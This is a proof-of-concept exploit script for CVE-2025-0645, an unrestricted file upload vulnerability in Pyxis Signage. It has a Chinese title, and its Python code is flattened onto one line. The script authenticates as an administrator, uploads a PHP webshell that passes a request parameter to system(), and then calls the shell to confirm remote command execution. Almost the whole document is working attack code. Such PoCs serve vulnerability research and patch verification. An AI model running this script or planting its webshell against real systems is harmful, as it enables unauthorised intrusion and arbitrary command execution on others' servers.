CVE-2025-0645 Pyxis Signage 危险类型文件上传漏洞

import requests import sys # CVE-2025-0645 PoC - Pyxis Signage Unrestricted File Upload # Target: Pyxis Signage through 31012025 TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/login" UPLOAD_URL = f"{TARGET_URL}/api/upload" # Malicious PHP webshell webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" def exploit(): # Step 1: Authenticate with high privileges session = requests.Session() login_data = { "username": "admin", # High privilege account "password": "password" } try: response = session.post(LOGIN_URL, json=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious file files = { "file": ("shell.php", webshell_content, "application/x-php") } upload_response = session.post(UPLOAD_URL, files=files, timeout=10) if upload_response.status_code == 200: print("[+] Malicious file uploaded successfully") # Step 3: Execute commands via webshell shell_url = f"{TARGET_URL}/uploads/shell.php" cmd_response = session.get(f"{shell_url}?cmd=whoami", timeout=10) if cmd_response.status_code == 200: print(f"[+] Remote Code Execution confirmed: {cmd_response.text}") return True else: print(f"[-] Upload failed: {upload_response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-0645 Pyxis Signage File Upload PoC") exploit()